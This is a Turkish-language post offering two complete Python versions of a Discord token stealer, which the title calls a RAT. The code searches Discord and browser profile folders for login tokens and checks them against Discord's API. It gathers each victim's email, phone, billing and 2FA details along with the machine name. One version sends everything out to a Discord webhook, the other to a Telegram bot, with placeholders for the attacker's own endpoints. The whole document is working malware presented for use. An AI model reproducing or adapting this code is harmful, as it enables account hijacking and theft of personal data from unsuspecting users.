Python Discord Token+Kişisel bilgi RATı

import os
import re
import json
import ctypes
import platform
import requests
from datetime import datetime

class DiscordTokenStealer:
    def __init__(self):
        self.ROAMING = os.getenv("APPDATA")
        self.LOCALAPPDATA = os.getenv("LOCALAPPDATA")
        self.REGEX = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}"
        self.headers_base = {
            "Content-Type": "application/json",
            "User-Agent": ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                           "AppleWebKit/537.36 (KHTML, like Gecko) "
                           "Chrome/91.0.4472.124 Safari/537.36")
        }

    def is_admin(self):
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False

    def get_tokens(self):
        tokens = []
        paths = {
            "Discord": os.path.join(self.ROAMING, "Discord"),
            "Discord Canary": os.path.join(self.ROAMING, "discordcanary"),
            "Discord PTB": os.path.join(self.ROAMING, "discordptb"),
            "Google Chrome": os.path.join(self.LOCALAPPDATA, "Google", "Chrome", "User Data"),
            "Microsoft Edge": os.path.join(self.LOCALAPPDATA, "Microsoft", "Edge", "User Data"),
            "Brave": os.path.join(self.LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"),
            "Opera": os.path.join(self.ROAMING, "Opera Software", "Opera Stable"),
        }

        for name, path in paths.items():
            if os.path.exists(path):
                tokens.extend(self._extract_tokens(path))
        return list(set(tokens))

    def _extract_tokens(self, path):
        found_tokens = []
        for root, _, files in os.walk(path):
            for file in files:
                if file.endswith((".l0g", ".ldb", ".sqlite")):
                    try:
                        with open(os.path.join(root, file), "r", errors="ignore") as f:
                            for line in f:
                                found_tokens.extend(re.findall(self.REGEX, line))
                    except:
                        pass
        return found_tokens

    def validate_token(self, token):
        try:
            headers = self.headers_base.copy()
            headers["Authorization"] = token
            response = requests.get("https://discord.com/api/v9/users/@me", headers=headers, timeout=5)
            return response.status_code == 200
        except:
            return False

    def get_token_info(self, token):
        headers = self.headers_base.copy()
        headers["Authorization"] = token
        try:
            user_resp = requests.get("https://discord.com/api/v9/users/@me", headers=headers, timeout=5)
            if user_resp.status_code != 200:
                return None
            user_data = user_resp.json()

            nitro_data = self.get_nitro_info(token)

            created_at = user_data.get("created_at", None)
            if created_at:
                try:
                    created_at = datetime.fromisoformat(created_at[:-1]).strftime("%d-%m-%Y %H:%M:%S")
                except:
                    created_at = "Bilinmiyor"
            else:
                created_at = "Bilinmiyor"

            return {
                "username": f"{user_data['username']}#{user_data['discriminator']}",
                "email": user_data.get("email", "N/A"),
                "phone": user_data.get("phone", "N/A"),
                "token": token,
                "nitro": nitro_data["has_nitro"],
                "nitro_type": nitro_data["nitro_type"],
                "mfa_enabled": user_data.get("mfa_enabled", False),
                "created_at": created_at,
                "avatar_url": (f"https://cdn.discordapp.com/avatars/"
                               f"{user_data['id']}/{user_data.get('avatar','')}.png"
                               if user_data.get('avatar') else "Yok")
            }
        except Exception as e:
            return None

    def get_nitro_info(self, token):
        headers = self.headers_base.copy()
        headers["Authorization"] = token
        try:
            resp = requests.get("https://discord.com/api/v10/users/@me/billing/subscriptions", headers=headers, timeout=5)
            if resp.status_code == 200:
                subs = resp.json()
                if subs:
                    nitro_type = "Classic" if subs[0].get("type") == 1 else "Boost"
                    return {
                        "has_nitro": True,
                        "nitro_type": nitro_type,
                    }
            return {"has_nitro": False, "nitro_type": "Yok"}
        except:
            return {"has_nitro": False, "nitro_type": "Yok"}

    def has_payment_method(self, token):
        headers = self.headers_base.copy()
        headers["Authorization"] = token
        try:
            resp = requests.get("https://discord.com/api/v9/users/@me/billing/payment-sources", headers=headers, timeout=5)
            if resp.status_code == 200:
                data = resp.json()
                return len(data) > 0
            return False
        except:
            return False

    def send_to_webhook(self, data_list, webhook_url):
        if not data_list:
            content = "Geçerli token bulunamadı."
        else:
            content = ""
            for d in data_list:
                content += (
                    f"**Kullanıcı Adı:** {d['username']}\n"
                    f"**E-posta:** {d['email']}\n"
                    f"**Telefon:** {d['phone']}\n"
                    f"**Token:** `{d['token']}`\n"
                    f"**Nitro:** {'✅' if d['nitro'] else '❌'} ({d['nitro_type']})\n"
                    f"**Ödeme Yöntemi:** {'✅ Var' if d.get('has_payment', False) else '❌ Yok'}\n"
                    f"**2FA:** {'✅' if d['mfa_enabled'] else '❌'}\n"
                    f"**Hesap Tarihi:** {d['created_at']}\n"
                    f"**Avatar URL:** {d['avatar_url']}\n"
                    + "-"*40 + "\n"
                )

        payload = {
            "content": (f"🔍 **Token Bilgisi**\n"
                        f"💻 Bilgisayar: `{platform.node()}`\n"
                        f"👑 Admin: `{self.is_admin()}`\n\n"
                        f"{content}")
        }

        try:
            requests.post(webhook_url, json=payload, timeout=5)
        except Exception:
            pass  # Sessizce geç

def main():
    webhook_url = ""  # Kendi webhook URL'nizi buraya yazın
    stealer = DiscordTokenStealer()
    tokens = stealer.get_tokens()

    valid_data = []
    for token in tokens:
        if stealer.validate_token(token):
            info = stealer.get_token_info(token)
            if info:
                info["has_payment"] = stealer.has_payment_method(token)
                valid_data.append(info)

    stealer.send_to_webhook(valid_data, webhook_url)

if __name__ == "__main__":
    main()

import os
import re
import json
import ctypes
import platform
import requests
from datetime import datetime

telegrambottokeni = 'telegram bot tokeninizi yazin buraya'
telegramchatid = 'burayada mesajın gönerilmesini istediğiniz telegram chat idsini yazın (botun o chate ekli olduğundan emin olun)'

class DiscordTokenStealer:
    def __init__(self):
        self.ROAMING = os.getenv("APPDATA")
        self.LOCALAPPDATA = os.getenv("LOCALAPPDATA")
        self.REGEX = r"[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}"
        self.headers_base = {
            "Content-Type": "application/json",
            "User-Agent": ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                           "AppleWebKit/537.36 (KHTML, like Gecko) "
                           "Chrome/91.0.4472.124 Safari/537.36")
        }

    def is_admin(self):
        try:
            return ctypes.windll.shell32.IsUserAnAdmin()
        except:
            return False

    def get_tokens(self):
        tokens = []
        paths = {
            "Discord": os.path.join(self.ROAMING, "Discord"),
            "Discord Canary": os.path.join(self.ROAMING, "discordcanary"),
            "Discord PTB": os.path.join(self.ROAMING, "discordptb"),
            "Google Chrome": os.path.join(self.LOCALAPPDATA, "Google", "Chrome", "User Data"),
            "Microsoft Edge": os.path.join(self.LOCALAPPDATA, "Microsoft", "Edge", "User Data"),
            "Brave": os.path.join(self.LOCALAPPDATA, "BraveSoftware", "Brave-Browser", "User Data"),
            "Opera": os.path.join(self.ROAMING, "Opera Software", "Opera Stable"),
        }

        for name, path in paths.items():
            if os.path.exists(path):
                tokens.extend(self._extract_tokens(path))
        return list(set(tokens))

    def _extract_tokens(self, path):
        found_tokens = []
        for root, _, files in os.walk(path):
            for file in files:
                if file.endswith((".l0g", ".ldb", ".sqlite")):
                    try:
                        with open(os.path.join(root, file), "r", errors="ignore") as f:
                            for line in f:
                                found_tokens.extend(re.findall(self.REGEX, line))
                    except:
                        pass
        return found_tokens

    def validate_token(self, token):
        try:
            headers = self.headers_base.copy()
            headers["Authorization"] = token
            response = requests.get("https://discord.com/api/v9/users/@me", headers=headers, timeout=5)
            return response.status_code == 200
        except:
            return False

    def get_token_info(self, token):
        headers = self.headers_base.copy()
        headers["Authorization"] = token
        try:
            user_resp = requests.get("https://discord.com/api/v9/users/@me", headers=headers, timeout=5)
            if user_resp.status_code != 200:
                return None
            user_data = user_resp.json()

            nitro_data = self.get_nitro_info(token)

            created_at = user_data.get("created_at", None)
            if created_at:
                try:
                    created_at = datetime.fromisoformat(created_at[:-1]).strftime("%d-%m-%Y %H:%M:%S")
                except:
                    created_at = "Bilinmiyor"
            else:
                created_at = "Bilinmiyor"

            return {
                "username": f"{user_data['username']}#{user_data['discriminator']}",
                "email": user_data.get("email", "N/A"),
                "phone": user_data.get("phone", "N/A"),
                "token": token,
                "nitro": nitro_data["has_nitro"],
                "nitro_type": nitro_data["nitro_type"],
                "mfa_enabled": user_data.get("mfa_enabled", False),
                "created_at": created_at,
                "avatar_url": (f"https://cdn.discordapp.com/avatars/"
                               f"{user_data['id']}/{user_data.get('avatar','')}.png"
                               if user_data.get('avatar') else "Yok")
            }
        except Exception as e:
            return None

    def get_nitro_info(self, token):
        headers = self.headers_base.copy()
        headers["Authorization"] = token
        try:
            resp = requests.get("https://discord.com/api/v10/users/@me/billing/subscriptions", headers=headers, timeout=5)
            if resp.status_code == 200:
                subs = resp.json()
                if subs:
                    nitro_type = "Classic" if subs[0].get("type") == 1 else "Boost"
                    return {
                        "has_nitro": True,
                        "nitro_type": nitro_type,
                    }
            return {"has_nitro": False, "nitro_type": "Yok"}
        except:
            return {"has_nitro": False, "nitro_type": "Yok"}

    def has_payment_method(self, token):
        headers = self.headers_base.copy()
        headers["Authorization"] = token
        try:
            resp = requests.get("https://discord.com/api/v9/users/@me/billing/payment-sources", headers=headers, timeout=5)
            if resp.status_code == 200:
                data = resp.json()
                return len(data) > 0
            return False
        except:
            return False

    def telegramagonder(self, data_list):
        url = f'https://api.telegram.org/bot{telegrambottokeni}/sendMessage'
        if not data_list:
            content = "token invalid"
        else:
            content = ""
            for d in data_list:
                content += (
                    f"**Kullanıcı Adı:** {d['username']}\n"
                    f"**E-posta:** {d['email']}\n"
                    f"**Telefon:** {d['phone']}\n"
                    f"**Token:** `{d['token']}`\n"
                    f"**Nitro:** {'✅' if d['nitro'] else '❌'} ({d['nitro_type']})\n"
                    f"**Ödeme Yöntemi:** {'✅ Var' if d.get('has_payment', False) else '❌ Yok'}\n"
                    f"**2FA:** {'✅' if d['mfa_enabled'] else '❌'}\n"
                    f"**Hesap Tarihi:** {d['created_at']}\n"
                    f"**Avatar URL:** {d['avatar_url']}\n"
                    + "-"*40 + "\n"
                )

        payload = {
            'chat_id': telegramchatid,
            'text': f"🔍 **Token Bilgisi**\n💻 Bilgisayar: `{platform.node()}`\n👑 Admin: `{self.is_admin()}`\n\n{content}",
            'parse_mode': 'Markdown'
        }

        try:
            response = requests.post(url, json=payload, timeout=5)
            return response.status_code == 200
        except:
            return False

def main():
    stealer = DiscordTokenStealer()
    tokens = stealer.get_tokens()

    valid_data = []
    for token in tokens:
        if stealer.validate_token(token):
            info = stealer.get_token_info(token)
            if info:
                info["has_payment"] = stealer.has_payment_method(token)
                valid_data.append(info)

    stealer.telegramagonder(valid_data)

if __name__ == "__main__":
    main()